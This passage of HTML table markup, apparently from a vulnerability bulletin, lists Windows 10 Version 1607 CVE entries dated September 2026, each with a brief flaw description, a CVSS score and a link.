&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Standard XPS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69345&quot; target=&quot;_blank&quot;&gt;CVE-2026-69345&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Windows Management Instrumentation allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69349&quot; target=&quot;_blank&quot;&gt;CVE-2026-69349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Exposure of private personal information to an unauthorized actor in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69351&quot; target=&quot;_blank&quot;&gt;CVE-2026-69351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Text Shaping allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69353&quot; target=&quot;_blank&quot;&gt;CVE-2026-69353&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Standard XPS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69367&quot; target=&quot;_blank&quot;&gt;CVE-2026-69367&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DNS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69369&quot; target=&quot;_blank&quot;&gt;CVE-2026-69369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Network File System allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69372&quot; target=&quot;_blank&quot;&gt;CVE-2026-69372&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Standard XPS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69376&quot; target=&quot;_blank&quot;&gt;CVE-2026-69376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69390&quot; target=&quot;_blank&quot;&gt;CVE-2026-69390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69393&quot; target=&quot;_blank&quot;&gt;CVE-2026-69393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing authorization in Windows SMB Server allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69403&quot; target=&quot;_blank&quot;&gt;CVE-2026-69403&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing release of memory after effective lifetime in Windows DHCP Server allows an authorized attacker to deny service over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69405&quot; target=&quot;_blank&quot;&gt;CVE-2026-69405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Exposure of sensitive system information to an unauthorized control sphere in Windows Kernel allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69406&quot; target=&quot;_blank&quot;&gt;CVE-2026-69406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Buffer over-read in Windows DHCP Server allows an authorized attacker to deny service over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69416&quot; target=&quot;_blank&quot;&gt;CVE-2026-69416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing authorization in Microsoft Windows Search Component allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69453&quot; target=&quot;_blank&quot;&gt;CVE-2026-69453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows USB Driver allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69457&quot; target=&quot;_blank&quot;&gt;CVE-2026-69457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows NTFS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69504&quot; target=&quot;_blank&quot;&gt;CVE-2026-69504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows USB Mass Storage Class Driver allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69527&quot; target=&quot;_blank&quot;&gt;CVE-2026-69527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Unintended proxy or intermediary (&#039;confused deputy&#039;) in Microsoft Windows Speech allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69531&quot; target=&quot;_blank&quot;&gt;CVE-2026-69531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Generation of error message containing sensitive information in Windows Print Spooler Components allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69552&quot; target=&quot;_blank&quot;&gt;CVE-2026-69552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function in Microsoft Windows Search Component allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69554&quot; target=&quot;_blank&quot;&gt;CVE-2026-69554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Storage Spaces Controller allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69568&quot; target=&quot;_blank&quot;&gt;CVE-2026-69568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Windows Print Spooler Components allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69569&quot; target=&quot;_blank&quot;&gt;CVE-2026-69569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69572&quot; target=&quot;_blank&quot;&gt;CVE-2026-69572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Win32K allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69609&quot; target=&quot;_blank&quot;&gt;CVE-2026-69609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Remote Desktop Services allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69616&quot; target=&quot;_blank&quot;&gt;CVE-2026-69616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69618&quot; target=&quot;_blank&quot;&gt;CVE-2026-69618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Remote Desktop Licensing Service allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69627&quot; target=&quot;_blank&quot;&gt;CVE-2026-69627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an authorized attacker to deny service over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69637&quot; target=&quot;_blank&quot;&gt;CVE-2026-69637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Windows DNS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69672&quot; target=&quot;_blank&quot;&gt;CVE-2026-69672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an authorized attacker to deny service over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69679&quot; target=&quot;_blank&quot;&gt;CVE-2026-69679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Generation of error message containing sensitive information in Windows Error Reporting allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69684&quot; target=&quot;_blank&quot;&gt;CVE-2026-69684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Exposure of sensitive system information to an unauthorized control sphere in Windows Kernel allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69723&quot; target=&quot;_blank&quot;&gt;CVE-2026-69723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Windows Spaceport.sys allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69770&quot; target=&quot;_blank&quot;&gt;CVE-2026-69770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Buffer over-read in Windows Encrypting File System (EFS) allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69794&quot; target=&quot;_blank&quot;&gt;CVE-2026-69794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69803&quot; target=&quot;_blank&quot;&gt;CVE-2026-69803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Win32K allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69808&quot; target=&quot;_blank&quot;&gt;CVE-2026-69808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Exposure of sensitive system information to an unauthorized control sphere in Windows Win32K allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69832&quot; target=&quot;_blank&quot;&gt;CVE-2026-69832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Wireless Wide Area Network Service allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69862&quot; target=&quot;_blank&quot;&gt;CVE-2026-69862&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69929&quot; target=&quot;_blank&quot;&gt;CVE-2026-69929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69930&quot; target=&quot;_blank&quot;&gt;CVE-2026-69930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows DNS allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70091&quot; target=&quot;_blank&quot;&gt;CVE-2026-70091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70124&quot; target=&quot;_blank&quot;&gt;CVE-2026-70124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Windows Search Component allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70145&quot; target=&quot;_blank&quot;&gt;CVE-2026-70145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Windows Win32 Kernel Subsystem allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70290&quot; target=&quot;_blank&quot;&gt;CVE-2026-70290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Partition Management Driver allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71341&quot; target=&quot;_blank&quot;&gt;CVE-2026-71341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Storage Port Driver allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72937&quot; target=&quot;_blank&quot;&gt;CVE-2026-72937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Windows Task Scheduler allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72945&quot; target=&quot;_blank&quot;&gt;CVE-2026-72945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function in Windows Internet Connection Sharing (ICS) allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72964&quot; target=&quot;_blank&quot;&gt;CVE-2026-72964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing authorization in Windows Remote Access Connection Manager allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72966&quot; target=&quot;_blank&quot;&gt;CVE-2026-72966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72978&quot; target=&quot;_blank&quot;&gt;CVE-2026-72978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Exposure of private personal information to an unauthorized actor in Windows Biometric Service allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73008&quot; target=&quot;_blank&quot;&gt;CVE-2026-73008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows GDI allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
